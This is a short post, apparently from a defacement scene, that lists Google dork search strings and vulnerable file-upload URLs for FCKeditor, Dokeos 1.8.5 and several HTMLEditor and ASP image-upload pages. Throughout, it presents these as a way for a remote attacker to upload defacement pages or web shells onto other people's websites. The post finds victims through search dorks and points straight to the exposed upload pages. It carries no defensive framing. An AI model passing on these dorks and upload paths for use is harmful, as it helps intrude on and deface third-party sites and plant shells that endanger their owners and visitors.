FCK,HTML,UPLOAD EXPLOITS FOR DEFACE TXT JPG AND OTHER SHITS

This is a vulnerability which allows a remote attacker to upload his/her deface or shell on the website.


Google Dork : inurl:ft2.php intext:upload




This is the vulnerability similar to FCK Editor file upload vulnerability which allows you to upload your and or shell on the target website.

Google Dork: "Portail Dokeos 1.8.5"
Vulnerable URL: http://website/patch/main/inc/lib/fckeditor/editor/filemanager/upload/test.html

Goto :http://website/patch/main/inc/lib/fckeditor/editor/filemanager/upload/test.htm



This vulnerability can be used to upload your deface,shell or image on a website.
Google Dorks:inurl:"default_image.asp"
                             inurl:"default_imagen.asp"
                             inurl:"/box_image.htm"



This is a exploit which can be used to upload .JPG and .TXT on the website
Dork: inurl:/HTMLEditor/editor/
         "inurl:/HTMLEditor/editor//filemanager/"
         "inurl:/HTMLEditor/editor//filemanager//connectors/"

Use any one above mentioned dork.

Vulnerable URL: http://website/HTMLEditor/editor/filemanager/connectors/uploadtest.html
                        http://website/path/HTMLEditor/editor/filemanager/connectors/uploadtest.html